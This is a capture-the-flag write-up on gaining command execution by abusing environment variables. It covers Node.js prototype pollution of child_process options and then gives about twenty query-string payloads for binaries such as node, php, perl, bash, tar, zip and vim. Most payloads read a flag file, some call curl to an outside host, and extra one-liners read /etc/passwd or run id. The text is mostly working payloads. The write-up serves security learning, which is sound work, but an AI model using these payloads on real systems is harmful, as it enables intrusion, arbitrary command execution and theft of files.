Abusing Environment Variables

  

This article includes solution of http://challenge.p6.is/0

image-20200906210533589

Motivation

I found interesting code while do an analysis of the effects of nodejs internal effects.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if (options.shell) {
const command = [file].concat(args).join(' ');
// Set the shell, switches, and commands.
if (process.platform === 'win32') {
if (typeof options.shell === 'string')
file = options.shell;
else
file = process.env.comspec || 'cmd.exe';
// '/d /s /c' is used only for cmd.exe.
if (/^(?:.*\\)?cmd(?:\.exe)?$/i.test(file)) {
args = ['/d', '/s', '/c', `"${command}"`];
windowsVerbatimArguments = true;
} else {
args = ['-c', command];
}
} else {
if (typeof options.shell === 'string')
file = options.shell;
else if (process.platform === 'android')
file = '/system/bin/sh';
else
file = '/bin/sh';
args = ['-c', command];
}
}

through https://github.com/nodejs/node/blob/master/lib/child_process.js#L502, in the child_process, one of builtin module of nodejs.
By specifying the shell option, I was able to override the default shell used to run the command.

and from https://github.com/nodejs/node/blob/master/lib/child_process.js#L528
We could know the child processes creation uses for ... in loop for setting child process’s environment variabless
it can be seen that the environment variables are also referred to Object.prototype.

1
2
3
4
5
6
7
8
9
const child_process = require('child_process');

Object.prototype.shell = 'node';
Object.prototype.env = {
NODE_DEBUG : '1; throw require("child_process").execSync("sleep 7").toString()//',
NODE_OPTIONS : '-r /proc/self/environ'
};

child_process.execSync('id');

By overriding Object.prototype.shell, We can run any binary and make command execution even if the origin command is not vulnerable for this.

However, since nodejs have context-dependency in order of environment variables in /proc/self/environ when creating child processes.
I want to know about other general binaries have detected how attacks can be carried out.

After searching a time, I could found an interesting article

Several interpreter languages have been able to carry out attacks in this way.
We’ve opened the challenge for more diverse navigation and data collection.

As a result, many people showed interesting solutions.
Thank you to @KuroNeko10x @SecurityMB acut3hack @panghoddari @HunterGregal jinmo123 dmbs335 @03sunf NGA @shpik @r0hanSH for participating.

Solution

/usr/bin/node

1
2
3
?file=/usr/bin/node
&p[]=NODE_OPTIONS=--require /proc/self/environ
&p[]=PHP_EXTRA_CONFIGURE_ARGS=console.log(require('child_process').execSync('cat /flag/f1444g').toString())//

/usr/local/bin/php

1
2
3
?file=/usr/local/bin/php
&p[]=PHP_EXTRA_CONFIGURE_ARGS=1;%0dauto_prepend_file=/proc/self/environ;%0d<?php system("cat /flag/f1444g");?>
&p[]=PHPRC=/proc/self/environ

/usr/bin/perl

1
2
3
?file=/usr/bin/perl
&p[]=PERL5OPT=d
&p[]=PERL5DB=BEGIN{$f=`ls /flag`; print `cat /flag/$f`}

/bin/bash

1
2
?file=/bin/bash
&p[]=BASH_ENV=`curl p6.is`

/usr/bin/bashbug

1
2
?file=/usr/bin/bashbug
&p[]=DEFEDITOR=cat /flag/* >

/usr/bin/less

1
2
3
?file=/usr/bin/less
&p[]=LESSOPEN=curl p6.is
&p[]=LESS=-?/bin/ls

/usr/bin/vim

1
2
?file=/usr/bin/vim
&p[]=VIMINIT=exe "!/usr/bin/rgrep . /flag" | q!

/usr/bin/byobu-status-detail

1
2
3
4
?file=/usr/bin/byobu-status-detail
&p[]=PATH=/bin
&p[]=BYOBU_INCLUDED_LIBS=1
&p[]=BYOBU_PAGER=/bin/cat /flag/*

/usr/bin/byobu

1
2
3
4
5
6
?file=/usr/bin/byobu
&p[]=BYOBU_CONFIG_DIR=/var/www/html/
&p[]=BYOBU_RUN_DIR=/tmp
&p[]=BYOBU_INCLUDED_LIBS=1
&p[]=HOME=/var/cache/apache2/mod_cache_disk
&p[]=BYOBU_TEST=cd /; ls -al /home > /var/www/html/eyo 2>

/usr/bin/file

1
2
?file=/usr/bin/file
&p[]=MAGIC=/flag/::

/bin/tar

1
2
3
?file=/bin/tar
&p[]=TAPE=/dev/null
&p[]=TAR_OPTIONS=-x --use-compress-program="sh -c \"rgrep . /flag >&2\""

/usr/bin/gs

1
2
3
?file=/usr/bin/gs
&p[]=GS_DEVICE=bit
&p[]=GS_OPTIONS=@/flag/f1444g

/bin/bzip2

1
2
?file=/bin/bzip2
&p[]=BZIP=/flag/f1444g

/bin/tar

1
2
3
?file=/bin/tar
&p[]=TAPE=/usr/src/php.tar.xz
&p[]=TAR_OPTIONS=-x --to-command="rgrep . /flag"

/usr/bin/rake

1
2
?file=/usr/bin/rake
&p[]=RAKEOPT=-e "print `rgrep . /flag`"

/usr/bin/xz

1
2
?file=/usr/bin/xz
&p[]=XZ_OPT=--files=/flag/f1444g

/usr/bin/zipinfo

1
2
?file=/usr/bin/zipinfo
&p[]=ZIPINFO=-s /flag/*

/usr/bin/zip

1
2
?file=/usr/bin/zip
&p[]=ZIPOPT=/tmp/a.zip -T -TT`cat$IFS$1/flag/f1444g;`
1
2
?file=/usr/bin/zip
&p[]=ZIP=-0 -r - /flag

/usr/bin/unzip

1
2
?file=/usr/bin/unzip
&p[]=UNZIP=-p /tmp/pwn.zip

/bin/grep

1
2
?file=/bin/grep
&p[]=GREP_OPTIONS=-r . /flag

Others

The extra solutions were not valid for this challenge.

/usr/bin/systemctl

1
PAGER='ls /' systemctl

/usr/bin/python

1
PYTHONSTARTUP='/etc/passwd' python

/usr/bin/perl

1
PERL5OPT='-Mbase;print(`id`)' perl /dev/null

Reference